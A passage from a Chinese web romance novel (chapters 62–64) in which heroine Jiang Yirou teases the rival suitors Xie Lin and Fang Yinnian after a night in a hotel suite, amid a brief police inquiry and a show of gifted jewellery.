就在两人即将打起来的时候,床上的姜以柔连忙开口阻止了这场闹剧。 “别打别打!”姜以柔惊呼道。 她本想下床阻止两人,但腰就像断了一样,实在下不了床。 姜以柔只能嗔怪地瞪了谢凛一眼,轻声道:“谢凛,过来!” 谢凛知道她是担心他揍坏了这位方大总裁,他危险地眯了眯眼睛,实在很想不顾一切地揍上这张道貌岸然的脸。 姜以柔蹙着秀眉,加重语气又喊了一声:“谢凛!” 谢凛腮侧微鼓,几番隐忍后,已经攥成拳的手只能不甘地松开。 他冷哼一声,猛地用力推开方隐年,反身回到姜以柔身边。 谢凛刚坐到床边,姜以柔便顺理成章地缩进他怀中,谢凛也从善如流地揽住她的肩头。 两人亲密得那般自然,让谢凛一时间怔住了。 方隐年恍惚间被谢凛推得后退了好几步,他微微弯腰扶住墙壁,凌乱的黑发散落,挡住了他的神情。 原来,她不是被迫的。 她跟这个男人……两情相悦。 可这个事实对他来说,似乎更加残酷。 方隐年僵着身体一动未动,他沉默得如同一尊雕像,垂首间,神情被尽数掩去,只周身的气场有些吓人。 半晌,方隐年竟轻轻笑了一声。 这笑声很轻,缥缈得如同来自幽冥,莫名勾起人心底最深的寒意。 方隐年的呼吸渐渐沉重起来,按住墙壁的手青筋暴起,用力到指节泛白。 过了一会儿,姜以柔主动开口打破了这近乎凝滞的气氛。 “方总,你怎么来了?”姜以柔揉了揉眼睛,疑惑地问道。 她被方隐年撞破了这样尴尬的场面,竟也不觉得尴尬,望向他的眼神中是纯然的好奇。 方隐年微微一怔,他长久的沉默带着股难言的压抑,半晌才道:“你给我发的消息。” 他的语气一如既往的平静,如果忽略他暗哑的嗓音。 闻言,谢凛双眸微眯,脸色顿时沉得有些可怕。 姜以柔皱着眉头想了好一会儿,才蓦地回想起来,她当时为了保险,除了给谢凛发消息之外,还联系了方隐年和警察。 看方隐年这风尘仆仆的模样,大概也是找了她一整晚。 姜以柔心底漫上些暖意,认真地说道:“方总,谢谢你,我没事了。” “对了,”姜以柔突然想起了什么,有些紧张地说道,“赵文泽是不是还在外面?他……他不会死了吧?” 她隐约记得谢凛飞起一脚将赵文泽踹飞的模样,以谢凛的身手……恐怕他不死也要去半条命吧? 方隐年深吸一口气,慢慢挺直了腰杆。短暂的失态后,他又恢复了那副淡然平和的模样,将所有的情绪重新藏起,滴水不漏。 他沉声道:“外面的人交给我处理吧。” 姜以柔笑了笑,从善如流地向他道谢:“那就谢谢方总了。” 倒是谢凛不悦地皱了皱眉头,黑眸有些发沉。 他不喜欢别的男人插手姜以柔的事。 谢凛眸光不善地睨着他,冷声说道:“你可以走了。” 方隐年神情不动,静静地回视着谢凛,分毫不让。 两人对视间,空气都仿佛凝滞了,压抑得吓人。 良久,方隐年凤眸微动,眸光落到姜以柔的身上,她正乖巧地依偎在谢凛的怀中,脸颊还漫着诱人的红潮。 方隐年盯着她看了许久,一双凤眸如深潭般看不透,他突然扯了扯唇角,那弧度莫名带着丝自嘲。 他确实该离开了。 方隐年深吸一口气,面无表情地转过身体,抬腿便要离开。 然而下一秒,姜以柔却急声喊住了他,“方总,等等!” 此话一出,谢凛面色骤沉,揽住她肩膀的手蓦地收紧,他危险地眯起眸子,直勾勾睨着怀里的女人,神情不善。 方隐年脚步顿住,背着身沉默了许久。 他似乎很不想再转头看向他们俩,但几番吐息后,他还是缓缓转过身体,凤目沉静地望向姜以柔,无声地询问她有什么事。 姜以柔有些羞涩地红了脸,难得不好意思地说道:“方总,你能不能帮我们买身衣服啊?” 她的裙子被谢凛撕坏了,谢凛的衣服也被糟蹋得不能看。 他们俩都没法下床见人了。 谢凛眸中的寒意瞬间凝固,他嘴角微抽,一时间竟不知道该说什么。 方隐年:“……” 方隐年深吸一口气,隐忍地闭上了眼睛。 第62章 “方总, 能帮我们买身衣服吗?”姜以柔眨了眨眼睛,冲方隐年笑得很无辜。 姜以柔就这样在跟谢凛翻云覆雨之后,十分自然地拜托方隐年帮他们俩买新衣服。 坦荡得让人恨得牙根痒痒, 却又无可奈何。 方隐年凤眸沉沉地盯着她,胸膛剧烈起伏几瞬,良久, 他长腿一迈, 离开了这间仍充斥着暧昧气息的房间。 他全程一句话都没说。 看他那面无表情的冷淡模样,实在不像是会愿意帮忙买衣服的样子。 然而, 姜以柔却一点儿都不担心,只饶有兴味地盯着他的背影,不知道在琢磨什么坏主意。 下一秒, 她下颌一紧, 被人捏着下巴强硬地转过脸。 谢凛沉着脸盯住她,寒声质问道:“你也给他发消息了?” 姜以柔反应了一会儿,才意识到他说的是昨晚那条求救消息。 她眨了眨眼睛,大大方方地承认了, “对啊。” 闻言, 谢凛眸光骤沉,捏着她下颌的手不自觉用力—— 他猛地欺身而上,抵着她的鼻尖冷厉地问道:“那如果昨晚是他先来, 你也会……” 谢凛喉结微滚,剩下的话哽在胸口, 怎么都说不出。 撕心裂肺的闷痛骤然袭来, 他死死盯着姜以柔,狭长的黑眸中翻涌着灼然戾气。 他在紧咬着牙关忍耐,才能勉强克制住疯狂的念头。 在谢凛低气压的笼罩下, 姜以柔不见丝毫慌乱。 她眨了眨眼睛,然后竟主动仰头吻上了他的唇,柔软的唇携着撩人的馨香,有种安抚的意味。 姜以柔紧贴着他的唇,厮磨中带着缠绵的暧昧,她软着嗓子说道:“没有什么如果。” “因为,先来的就是你呀。”姜以柔抬手圈住他的脖子,原本拥在身前的被子顺势滑落。 她丝毫不顾露出来的大片风光,只紧紧贴在谢凛的身上,缠人得像条妖娆的美人蛇。 这毫无阻隔的肌肤相触,瞬间将两人带回了昨晚的旖旎与疯狂,谢凛的呼吸声骤然粗重起来。 他箍住那截细腰用力一掂,让姜以柔直接坐在了他的身上,并反客为主地开始掠夺她口中的津液。 谢凛的眼眸因欲望而染上一层薄红,亲吻她的动作狂乱又强势,但他的心脏处却泛起阵阵隐痛。 他听得出来,姜以柔又在糊弄他。 这个女人就是这样,永远不肯给他一个明确的答复,只会冷眼旁观他的痛苦和挣扎。 她就像是一阵柔风,任凭他如何用力地想要抓住,也会从指缝中溜走。 他不恨她的无情,只恨自己的不争气。明知道她没有心,却心甘情愿地在她给的甜头中沉沦。 谢凛用力箍住她,近乎凶狠地吮吻着那娇嫩的唇瓣,力道简直恨不得要将她吞进去。 浓烈的爱恨几乎燃尽了谢凛的理智,他干脆直接将姜以柔按倒在床上,熟练地压了上去。 关键时刻,姜以柔手忙脚乱地推拒着他的胸膛。她半眯着一双潋滟的眸子,只一句话就让谢凛停下了动作。 “方隐年还会回来的。” 箭在弦上的谢凛骤然顿住,面色瞬时变得又黑又沉,分外难看。 他呼吸沉重,蜜色的胸膛剧烈起伏着,良久,他抬手抚上姜以柔的脸颊,粗糙的手掌摩挲着下移,轻轻握住那截脆弱的脖颈。 姜以柔无所谓地勾了勾唇,甚至主动仰头,将白玉般纤弱的脖颈往他掌中送了送。 摆明了有恃无恐。 谢凛的大手微微发颤,握着她的脖颈,却舍不得用力分毫。 他紧紧盯着那张美艳如妖的脸庞,冷凝的眸中充斥着说不出的复杂情绪。 良久,他哑声说道:“姜以柔,我管不住你的心,但是……” 他顿了顿,再开口时带着股咬牙切齿的狠厉,“所有敢碰你的男人,我一个都不会放过。” 事已至此,他认栽了。 姜以柔不愿意给他承诺,无所谓;哪怕她喜欢别的男人……也无所谓。 但他会永远地、紧紧地盯着她,盯紧她身边的所有男人。 他确实对姜以柔狠不下心肠,但对某些不长眼的男人……就没什么顾虑了。 谢凛眸光泛冷,他深吸一口气,蓦地冷笑一声,没头没尾地说道:“你应该庆幸,先来的是我,而不是方隐年。” 否则那位方总……下场不会比赵文泽更好。 闻言,姜以柔微微一怔,她静静地看着他,许久都没有说话。 谢凛凝视着她无辜的表情,那极致的美丽像是深入骨髓的毒,只要沾染上一点,就再没有解脱的可能。 谢凛盯着她良久,腮侧微微鼓起,在狠狠咬牙,他泛红的眼眸中尽是隐忍的痛楚。 突然间,他用力将姜以柔勒进怀中,他埋首在那柔软的颈窝,嗅着她身上的幽香,半晌莫名蹦住一句话: “我早晚会比他更有权势的。” 姜以柔先是愣住,然后不由得失笑。 她温柔而顺从地揽住他劲瘦的腰,那依赖又柔弱的姿态让谢凛心里止不住的发软,仿佛被她全心全意地爱着。 姜以柔轻声说道:“我知道。” 原著里的谢凛就是用短短几年时间重新崛起,甚至还因为跟方家作对,而得了个“大反派”的名头。 姜以柔之前就在想,从她认识方镜麒和谢凛开始,这原著里的男主和反派几乎可以说是没什么交集,很难想象他们会发展成书里针尖对麦芒的关系。 但现在,听着谢凛说的狠话,里面满是对方家叔侄的敌意,他大概也算是……正式走上了反派这条路吧? 就是他决定跟方家作对的原因……有那么点古怪。 姜以柔一时间有些想笑。 突然间,姜以柔脑子里灵光一闪,想起了谢凛昨晚赶来时,很少见的西装革履,不由得仰头问道:“所以,你开始创业了吗?” 谢凛轻轻地“嗯”了一声。 他昨天难得穿西装,就是准备去临市出差,但幸好……还没来得及出发。 谢凛抱着她的手又紧了几分,紧绷的力度中带着心有余悸的庆幸。 过了没多久,房门再次被敲响。 闻声,姜以柔的眸中掠过狡黠的笑意,谢凛则很是烦躁地皱了皱眉头。 谢凛亲了下她的额头,与其说是在安抚姜以柔,倒更像是为了抚平自己心中的戾气。他翻身下床去开门。 门一打开,果然是方隐年那张古井无波的脸。 他的右手还提着两个纸袋。 谢凛冷冷地睨着他,一句话都懒得说,毫不客气地劈手夺过他手里的纸袋,然后便要摔上房门。 但下一秒,方隐年一只手挡住门板,止住了他关门的动作。 谢凛危险地眯了眯眸子,关门的手猛地加重力道,那架势似乎要直接将他的手掌夹断。 方隐年面色不改,挡门的手却分毫不让地用力,手背上青筋暴起,力度惊人。 在两人无声的较量间,门板都几乎在发颤。 姜以柔没察觉到两个男人之间的暗潮汹涌,她只不耐烦地催促道:“谢凛,我的衣服呢,快拿过来呀!” 这撒着娇的柔媚嗓音让两个男人同时一滞,力道都不由得松了些许。 方隐年深吸一口气,平静地说道:“谢先生,有些事需要你配合调查一下。” 说着,方隐年稍一侧身,露出了不远处大门那里的几个人,穿着蓝色制服的官方人员。 谢凛面色一沉,眸光凌厉地望向方隐年。 两人视线交汇间,迸出近乎危险的硝烟味。 姜以柔最先反应过来,有些担忧地问道:“调查?调查什么?” “谢凛是为了救我,他没做错什么……”姜以柔顾不得身体上的不适,焦急地想要起身。 谢凛却转头低喝道:“你别动。” 谢凛深深地看了方隐年一眼,随即回到姜以柔身边,将手里的纸袋递给她,低声道:“你先穿衣服。” 他随手翻出方隐年买回来的那件男款上衣,穿好之后,轻声嘱咐道:“我去去就回,不会有事的。” 谢凛向来冷硬的面色难得柔和下来,低醇的声线中满是安抚的意味。 姜以柔摸了摸他的脸,笑着“嗯”了一声。 她也不会让他有事的。 姜以柔瞟了方隐年一眼,眼底掠过几分不满。 她不知道方隐年在搞什么鬼,但他最好不要太过分。 否则……她会很生气的。 谢凛的唇角勾起一个极淡的弧度,然后他不顾方隐年正看着,低头深深吻住了姜以柔。 辗转缠绵,姜以柔丝毫不觉得羞耻,肆无忌惮地搂住谢凛的脖颈,加深了这个吻。 方隐年微微一怔,直勾勾地看着这一幕。 但实际上,他只能看到谢凛宽厚结实的背脊。 谢凛在亲吻姜以柔时,刻意挡住了她。 他不会让任何人看到她情动的媚态。 方隐年也只能看到那双圈住谢凛脖颈的藕臂,白皙柔腻如同上好的美玉,却仿佛能刺痛他的眼睛。 方隐年的胸膛起伏几瞬,然后他生硬地转过头,不再看这缠绵的一幕。 谢凛最后在那娇嫩的唇瓣上啄了一口,便干脆利落地起身往门口走去。 路过方隐年身边时,他侧眸盯住了这个似乎永远云淡风轻的男人。 然后,谢凛轻微的声音传入他耳中,“如果你敢趁我不在的时候对她做什么……” 方隐年微微蹙眉,似乎对他的恶意揣测很是不满,他淡声道:“我不会伤害她。” 谢凛嗤笑一声,越过他大步走向等候的警察。 他步履从容,面色平静,不见丝毫心虚与慌乱。 直到谢凛跟着警方暂时离开,方隐年才缓缓转头,居高临下地望向床上的姜以柔。 姜以柔收敛了笑意,不咸不淡地问道:“方总,你还站在这里,是想看我换衣服吗?” 方隐年微微一怔,抿着唇一时间不知道该说什么。 姜以柔轻笑一声,竟然作势要掀开被子。 方隐年猛地闭上眼睛,他近乎狼狈地转过头,呼吸声都凌乱了。 姜以柔嘴角勾起一抹恶劣的笑意。 方隐年深吸一口气,刚想转身离开,下一秒却听到了被子被掀开,以及窸窣着穿衣服的声音。 方隐年顿时僵在原地,动也不敢动,生怕看到什么不该看的。 可他的眼睛闭起来了,听觉却变得更加敏锐。 窸窸窣窣的声音入耳,只要一想到姜以柔在穿衣服,他便浑身紧绷,脑海中是沸反盈天的喧嚣。 过了不知道多久,一股熟悉的幽香扑面而来。 紧接着是那道柔媚的嗓音,近在咫尺。 “方总,你买的衣服可真麻烦,帮我拉一下拉链吧?” 方隐年怔怔地睁开眼,下意识地循声看去,当看清眼前的一切时,他瞳仁骤缩,垂在身侧的手也猛地握紧了。 姜以柔就站在他面前,只不过是背对着他。 他买来的那条红裙子正挂在她身上,后背的拉链却敞开着,露出大片白皙的背脊。 那背脊白皙如玉,肩胛骨如蝶一般清秀,线条到腰身处收紧,勾勒出惊心动魄的弧度,纤细得仿佛双手便可圈住,两点腰窝更是勾人。 背脊上星星点点的深红色吻痕,像是白玉微瑕,却平白勾起人心底的□□。 方隐年几乎是浑身僵硬地看着这一幕,久久没有反应。 姜以柔缓缓回头,似笑非笑地催促道:“方总,快点啊。” 这一个回眸媚意横生,足以倾倒众生。 方隐年怔怔地看着她,连呼吸都忘了。 第63章 或许是因为多年信佛, 方隐年从来不喜欢太过艳丽夺目的颜色,但他在看到那条红裙子时,只一眼就觉得很适合她。 所以他没有想太多, 直接买了下来。 现在,这条红色裙子就套在姜以柔的身体上。鲜艳的红更衬得那身皮肉如凝脂般白皙细腻,两相碰撞出令人心颤的艳色。 那祼露的背美得惊人, 每一寸窈窕的曲线都诉说着无声的诱惑。 她浅笑着回眸, 无比自然地对方隐年说——帮她拉一下后背的拉链。 她仿佛不知道自己这番情态有多勾人,就这样肆无忌惮地在方隐年面前展露着风情。 或者说……她就是故意的。 姜以柔双手捂着胸前的裙子, 好整以暇地回眸斜睨着方隐年。 方隐年微垂着头,怔怔地看着她,他浑身僵硬一动不动, 恍若一尊沉默的雕塑。 他的表情还算平静, 眉眼冷肃,唇角紧绷,乍一看仍是那位永远云淡风轻的方总。 但如果更细心一点就会发现—— 方隐年的呼吸乱了。 姜以柔将他的失控尽收眼底,玩味地翘了翘唇角。 谁让他自作主张对付谢凛呢? 姜以柔最讨厌他那副高高在上、掌控一切的模样, 所以总是乐此不疲地戏弄他, 欣赏他狼狈的瞬间。 至于会不会玩脱……无所谓。 某种程度上来说,姜以柔还挺期待方隐年彻底失控的那一天呢。 谢凛已经如她所愿地失控了,结果……很美味。 不知道方隐年这个禁欲了三十多年的“佛子”失控起来的话, 又会是何种情态呢? 姜以柔若有所思地眯了眯眼睛,唇边的笑意更加意味深长。 她后退一步, 毫不避讳地将光祼的背进一步送到了方隐年的手边, 懒洋洋地再次提醒道:“方总。” 方隐年骤然回神,他几乎是立刻后退一步,同姜以柔拉开了距离。 他隐忍地闭了闭眼睛, 深吸一口气,尽量平静地说道:“我给你换件衣服。” 他的嗓音带着些哑意,紧绷得像是随时能断掉的弦。 姜以柔挑了挑眉梢,语气埋怨地娇声道:“你再不快点,我就要冻感冒了。” 说着,她还像模像样的打了个喷嚏。 说实话,那声喷嚏很假,一听就是演的。 然而,方隐年沉默片刻,竟然真的妥协了。 他凤眸定定地看着那光祼的背,终于缓缓抬起手,捏住了后腰处的拉链。 细看的话,那双修长有力的手甚至在微微颤抖。 方隐年凤眸微颤,只死死盯着那个小小的拉链,他深吸一口气,慢慢将拉链往上拉。 拉链从姜以柔纤细柔软的后腰一路往上,随着拉链的经过,红色裙子将那光祼的背包裹起来,也掩住了那些暧昧的痕迹。 最后,拉链走到尽头,那片令人心悸的祼露美景被尽数收起,仿佛只是一场美妙的幻梦。 方隐年的眸光有一瞬间的怔松。 然后,他有些僵硬地收回手,视线却怎么都无法从眼前人的身上离开。 姜以柔笑了笑,随手将拢在胸前的长发尽数撩到脑后。 柔软的发丝飘起,拂到了方隐年的胸膛上,却仿佛直接撩到了他的心尖上。 方隐年呼吸微滞,喉结不甚明显地滚了滚。 穿好衣服后,姜以柔慢慢挪着步子坐回床上,她单手托腮,好整以暇地上下打量着方隐年,笑着问道:“方总,趁着我还有点耐心,有什么话就直说吧。” 闻言,方隐年微微一怔,随即微蹙着眉头看向她,却并未说话。 姜以柔随意勾起一缕发丝把玩着,漫不经心地说道:“你特意把谢凛支走,难道不是有话想单独跟我说?” 方隐年沉默了。 他定定地看着姜以柔良久,终于开口道:“你打算什么时候跟镜麒说清楚?” 没头没尾的一句话,姜以柔疑惑地歪了歪头,追问道:“你说什么?” 方隐年深吸一口气,凤眸沉沉地凝着她,一字一句淡声道:“既然你已经跟那位谢先生在一起,那就不该让镜麒存着念想。” “早日跟他说清楚吧。”方隐年有些无奈地闭了闭眼睛,眉宇间显出几分疲惫。 闻言,姜以柔讶然挑了挑眉梢,有些古怪地打量着方隐年。 这人还真是有意思。他自己都未必能释怀呢,倒是先忙着护侄子了。 她该称赞一声方隐年是个好叔叔吗? 姜以柔翘了翘唇角,伸出一根纤秀的手指摆了摆,摇头一本正经道:“方总,你这话说的可就不对了。” “首先,我没有跟谢凛在一起。”姜以柔面带笑意,轻飘飘地否认了她跟谢凛的关系。 方隐年有片刻的愣怔,他抿了抿唇,背在身后的手不自觉握紧了。 “其次,方同学对我存着什么念想,是他自己的事,我没有所谓的跟他说清楚的义务。” “最后……”姜以柔施施然起身,懒散地踱步到方隐年身边,意味深长地笑道,“方总,你说这番话,是觉得我吃着碗里的瞧着锅里,是吗?” 姜以柔眯了眯水润潋滟的眸子,吐气如兰道:“但是……就算我真要钓着你那个侄子,你又能如何呢?” 闻言,方隐年瞳仁微颤,缓缓低头看向她。 从见到姜以柔和谢凛亲密时便翻腾压抑着的疯狂,此刻再次汹涌叫嚣着要冲破他冷静的表面。 方隐年静静盯着这个极致美丽,却也极致可恶的女人,凤眸中凝起化不开的寒冰。 片刻的沉默后,他冷声道:“姜小姐,你未免太过贪心了。” 她到底想将多少男人玩弄于掌中? 姜以柔掩唇轻笑一声,她抬起一只纤长美丽的手,温柔地抚了抚方隐年的衣领,像一个贤淑的妻子在帮丈夫整理着装。 她的手抚过昂贵精致的衬衣领口,不动声色地落在方隐年的胸膛。 她感受着掌下结实有力的身躯,炙热的体温隔着衣料传递到她的指尖。 姜以柔轻轻勾起红唇,说了一句意味深长的话: “方总,早晚有一天,你会求着我更贪心一点的。” 她的指尖仿佛带着魔力,落在他身上的那一刻,方隐年骤然绷紧了身体。 等到他听到姜以柔那番堪称大言不惭的话时,方隐年不由得轻呵一声。 他只觉得荒谬。 姜以柔看见他这副不以为然的模样,不甚在意地耸了耸肩。 男人嘛,总是嘴硬的。 她眨了眨眼睛,突然提起了一件事,“方总,你还记得我那对珍珠耳坠吗?” 姜以柔笑得意味深长,拖长了语调道:“就是之前在家长会上,你帮我捡起来的那对耳坠。” 方隐年闻言微微一怔,沉默着久久未语。 姜以柔一边好整以暇地打量着他的脸色,一边语带揶揄地说道:“也不知道是哪儿来的冤大头,竟然花了一千多万拍下了它们。” “方总,你说……”姜以柔故意凑近他,一字一句轻声道,“他傻不傻呀?” 方隐年始终未曾开口,只一张俊脸冷得吓人。 姜以柔一定是故意提起这件事,衬得他更像个笑话。 姜以柔见好就收,总算放过了方隐年。 她似乎逗弄够了方隐年,转身又坐回了床上,一副很无聊的模样。 “方总,什么时候把谢凛还给我啊?”姜以柔打了个哈欠,有些不满地抱怨道。 听她提起谢凛,方隐年眸光微沉,良久才淡声道:“很快。” 姜以柔托腮盯着他,半真半假地威胁道:“方总,你可不要乱来,否则我会生气的。” 方隐年知道她在想什么,只淡淡地瞥她一眼,说道:“我没打算动他。” 不管怎么说,谢凛都救了姜以柔。 在他身处外地、无能为力的时候,是谢凛救姜以柔于水火中。 只凭这一点,方隐年就不会对他做什么。 更何况……姜以柔似乎很中意他。 方隐年面色平静,一双凤眸越发幽深。 至于他为什么特意将谢凛支开…… 大概是因为,谢凛和姜以柔那副如胶似漆的恩爱模样,实在太碍眼了。 他不想再看。 方隐年背在身后的手再一次不自觉捏紧,这次,掌心传来的刺痛让他猛然回神。 方隐年下意识地举起手,看到自己鲜血淋漓的掌心时,不由得怔愣一瞬。 不知何时,他无数次的隐忍和挣扎,已经在掌心留下了刺痛的痕迹,而他后知后觉。 方隐年盯着自己的手,一时间恍神。 连姜以柔问他“谢凛什么时候回来”,都久久未曾回应。 姜以柔懒得管方隐年在想什么,只漫不经心地吩咐道:“那你先送我回家吧。” 她不想在这儿干等着了,想赶紧回家休息一番。 方隐年终于回神,他垂下手臂,将手掌藏在背后,他深吸一口气,沉声道:“走吧。” 方隐年率先转身,就要离开这间套房,然而,身后却传来一声娇嗔的抱怨。 “方总,你怎么一点儿眼色都没有啊?” 姜以柔交叠着一双修长而不失肉感的腿,那身红裙更衬得她明艳到近乎刺目。 她轻笑着冲方隐年勾勾手指,娇声道:“我累了,你抱我走。” 这颐指气使的态度,是那般坦然,仿佛使唤的是她的仆人。 方隐年有一瞬间的诧异,随即缓缓皱起了眉头。 所以……她跟别的男人玩累了,现在倒要使唤他做苦力? 方隐年深吸一口气,面色有些难看。 然而,在姜以柔又一次娇声唤他的时候,他隐忍地闭了闭眼睛,还是转身一步步走回她身边。 方隐年俯身将她拦腰抱起,他俊脸沉凝,一点儿都没有美人在怀的春风得意,只大步往前走去。 然而,就在他即将走到门口时,大门突然被打开。 一道高大挺拔的身影出现,谢凛已经配合警方做完调查,完好无损的回来了。 然而他一回来,看到的就是他昨夜百般缠绵的女人,此时正顺从地窝在方隐年的怀中。 谢凛眉眼一压,一股凛然煞气瞬间倾泻而出,他握着门把的手猛地用力,竟然硬生生将把手拽断了。 他手背上青筋暴起,随手将那门把手扔开,冲方隐年扯出一个近乎嗜血的冷笑。 “不想活了?” 第64章 谢凛冷着一张脸, 一步一步朝着两人逼近,周身散发的寒意几乎让空气凝结。 此刻的他,俨然就是拳台上那个令人闻风丧胆的“Ares”, 眼中翻涌的杀意毫不掩饰,仿佛下一秒就要将方隐年撕碎。 他携着一身未散的血腥气逼近,眼神冷得像淬了冰的刀锋, 宛如修罗。 方隐年依然稳稳抱着姜以柔, 他直面这骇人的戾气,神色却未见波澜。 他甚至还从容地朝门口聚集的保镖微微摇头, 示意他们不必上前。 那姿态,是全然的不以为意。 谢凛的暴烈和方隐年的沉静,如同水火相遇一般, 爆发出令人胆寒的威压, 空气都仿佛凝滞了。 就在谢凛的拳头即将挥出的刹那—— 姜以柔忽然动了。 她松开环着方隐年脖颈的手,转而向谢凛伸出双臂。 那姿态不像阻拦,倒更像是……投怀送抱。 她微微仰起脸,眼中漾着水光, 唇角勾着一抹若有似无的弧度, 像在发出无声的邀请。 谢凛的拳头硬生生停在半空。 然后,他几乎是本能地接住了扑向自己的温软身躯。 在姜以柔离开他怀抱的瞬间,方隐年揽在她腰间的手不易察觉地收紧了一瞬, 像是下意识地在挽留她。 但是…… 方隐年低首垂眸,静静注视着姜以柔在谢凛怀中绽放的笑颜——那种全然的信赖与亲昵, 是他从未得到过的。 方隐年双手轻颤, 随即缓缓松开了禁锢着她的手。 转眼间,姜以柔已从方隐年的怀抱,落入了谢凛的领地内。 谢凛佳人在怀, 肃杀的脚步却被迫停住了,脸色一时间阴晴不定。 他的拳头都快挥到方隐年的脸上了,却因为姜以柔的这番打岔而不得不收回。 他低头瞪着怀中笑得没心没肺的女人,牙关紧咬。 她是故意的吧? “别生气嘛,”姜以柔软软地偎在他胸前,纤纤玉指在他紧绷的胸口抚了抚,吐气如兰,“方总只是好心送我而已。” 谢凛警告般钉了她一眼,抬眸望向方隐年时,眸光像是含了刀子般又冷又利。 若不是怀里抱着姜以柔,他绝不会轻易罢休。 方隐年倒是很坦然,他完全无视了谢凛的敌意,也无视了谢凛这个人,平淡的眸光只偶尔落在姜以柔的身上,不知道在想些什么。 谢凛居高临下地睨着怀里装乖的女人,冷冷地扯了扯唇角,嗤笑道: “如果你想让我打死他,下次直接说就行。” 不要再做这种会让他失去理智的事情。 闻言,方隐年眸光微凝,注意力终于从姜以柔身上落到了谢凛的身上。 饶是他修养再好,面对这种挑衅,也很难不动气,尤其……还是在姜以柔面前。 对于谢凛这明晃晃的敌意和鄙视,他只有淡淡地两个字:“凭你?” 像是在应和方隐年的话,门口的几名保镖缓缓围拢上前,警惕地盯着谢凛。 方隐年平静地睨着谢凛,淡声道:“谢先生,只会用暴力的是未开化的野蛮人,或许你该学着动动脑子了。” “否则……也不至于把重伤的赵文泽晾一整晚。”方隐年语气平静,说出的话却格外锐利,“若是真闹出了人命,你知道会给她带来多大的麻烦吗?” 谢凛原本都打算放过他了,闻言面色更是难看。 他死死盯着方隐年,甚至作势要放下怀中的姜以柔。 等他的双手空出来后,那双有着拳王量级的拳头会挥向何人,不言而喻。 姜以柔无声地叹了口气,连忙仰头在他冷硬的下颌上亲了一口,温声哄道:“别听他瞎说,我就喜欢你这样子,特别有安全感。” 说着,姜以柔再次主动送上了自己吻,这次印在了谢凛的薄唇上。 不得不说,但凡姜以柔想哄人,没有她拿不下的情况。 谢凛刚才被方隐年激起的怒火,转瞬间就因为她的两个吻而消散了。 谢凛紧绷的身躯骤然和缓下来,他轻飘飘地睨了眼方隐年,眸中带着属于胜利者的不屑。 至于方隐年…… 他眸光一滞,喉间溢出一丝意味不明的轻嗤。 他眼不见心不烦一般移开视线,背在身后的手却紧紧攥成了拳。 “好了,快回家吧。”姜以柔安抚好谢凛,便催着他送自己回家。 累了一晚上,她都没怎么睡,她一定要好好补个觉。 正当谢凛打算抱着她离开时,姜以柔却像是突然想起了什么,猛地在谢凛怀中挣扎起来,“等会儿,放我下来……” 谢凛不明所以,但还是依言将她放了下来,他的手臂小心翼翼地扶在她的腰后,生怕她摔了。 姜以柔的脚一踏在地上,就因为身体上的不适而皱起了眉头,但娇气如她,竟硬生生忍着这份不适,开始在偌大的套房里翻找起来。 谢凛时刻跟在她身边,皱眉询问道:“你在找什么?” 姜以柔不搭话,只一味地埋头寻找。 过了一会儿,当她在沙发后翻出一个包之后,她明显地松了口气。 方隐年和谢凛的目光不约而同地落在那个包裹上。 能让姜以柔如此在意的东西,是什么呢? 姜以柔娇美的面上是掩不住的喜色,她轻轻打开包裹,从里面拎出一条亮闪闪的项链。 她一边把项链在脖颈上比划着,一边冲两个男人喜滋滋地炫耀道:“好看吧?” 谢凛眯了眯眼睛,没有第一时间回答她的问题,反而沉声问道:“哪儿来的?” 姜以柔放下项链,又翻出了一个钻石戒指,她忍不住套在手指上欣赏着,不走心地随口应道:“顾星延送的。” 顾星延? 这个名字一出现,谢凛和方隐年都一时间沉默了,气氛一时间有些微妙。 姜以柔却完全不理会两个男人异样的神色,仍在兴冲冲地翻看着包裹里的各种首饰。 昨晚的拍卖会上,顾星延豪掷千金,拍下了许多很好看的首饰,在他因事而匆匆离开前,让主办方全部送到了她的手上。 然后姜以柔就为了躲避外面蹲守的各路记者和粉丝,住进了酒店的总统套房。 再之后遇到了赵文泽这个烂人,经历了那样惊心动魄的一晚,她都没来得及好好欣赏下自己收到的这些礼物。 姜以柔自从穿来这个世界,就再也没见过如此昂贵又精致的首饰,她一边爱不释手地端详着,一边忍不住夸赞道: “顾星延真是又大方又有审美,送的首饰都很合我的心意。” 她就这般坦然地在这两个男人面前称赞另一个男人,还炫耀他送的首饰,实在是……心大得令人咋舌。 果不其然,她的话一说出口,谢凛和方隐年的神情都隐隐有变化,空气一时间更加凝滞。 姜以柔恍若未觉,很自然地抱起那一堆首饰,施施然回到了谢凛身边,“好了,我们走吧。” 谢凛紧紧盯着她怀里的包裹,一想到那是别的男人献殷勤送给他的,他就恨得牙根痒痒。 但是,见姜以柔这副喜笑颜开的模样,他沉沉地呼出一口气,还是什么都没说。 就在这时,一阵凌乱的脚步声由远及近,有人突兀地闯入了这间套房。 来人是苏正,他只直直地看上自家上司,眼神不敢偏移半寸,生怕被那位一拳能打死一头熊的谢先生误以为对姜小姐有企图,然后顺手给他一拳…… 谢凛皱了皱眉头,冷眼打量着这个突然出现的男人,像是巡视自己领地的兽王,对任何贸然闯入的雄性都怀有本能的敌意。 在谢凛幽暗眸光的注视下,苏正的冷汗瞬间浸湿了后背的衣物,额角也浮现出细密的汗珠。 他第一次觉得古板冷淡的老板是如此可亲,忍不住往他身边挪了几步,试图寻求庇护。 “什么事?”方隐年淡淡地扫了他一眼,问道。 苏正连额头上的冷汗都不敢擦,压低声音迅速说道:“方总,少爷不知道从哪里得到的消息,已经赶来这里了。” 话音一落,方隐年面色骤沉,一股风雨欲来的压迫感扑面而来。 他蹙着眉头,冷声质问道:“镜麒怎么会知道我的行踪?” 苏正苦笑一声,说道:“方总,您这一路闹出的动静……少爷注意到了也很正常。” 因为姜以柔的一条短信,方隐年抛下公司的重要事务,抛下一群公司高层,千里迢迢奔赴S市。 期间还动用了各界力量去寻找她的踪迹,风波之大,不少人都隐隐有所耳闻,方镜麒听到了消息也很正常。 听到方镜麒的名字后,姜以柔难得有些发怔,几乎有种恍若隔世的感觉。 最近发生了太多事,她都差点忘记那个暴躁又跋扈的小男主了。 几人中最平静的恐怕就是谢凛了。得知方镜麒马上要来,他神情不变,没有半点不自在。 他跟姜以柔之间坦坦荡荡,不需要避忌任何人。 甚至……谢凛眸光微闪,冷冷勾了勾唇角。 他甚至很乐意让那个叫方镜麒的小子,亲眼目睹他跟姜以柔的亲密。 省得那不自量力的小子再生出什么妄念。 但是,方隐年绝不会允许这种事情发生。 他头疼地揉了揉眉心,面上浮现出些许躁意。 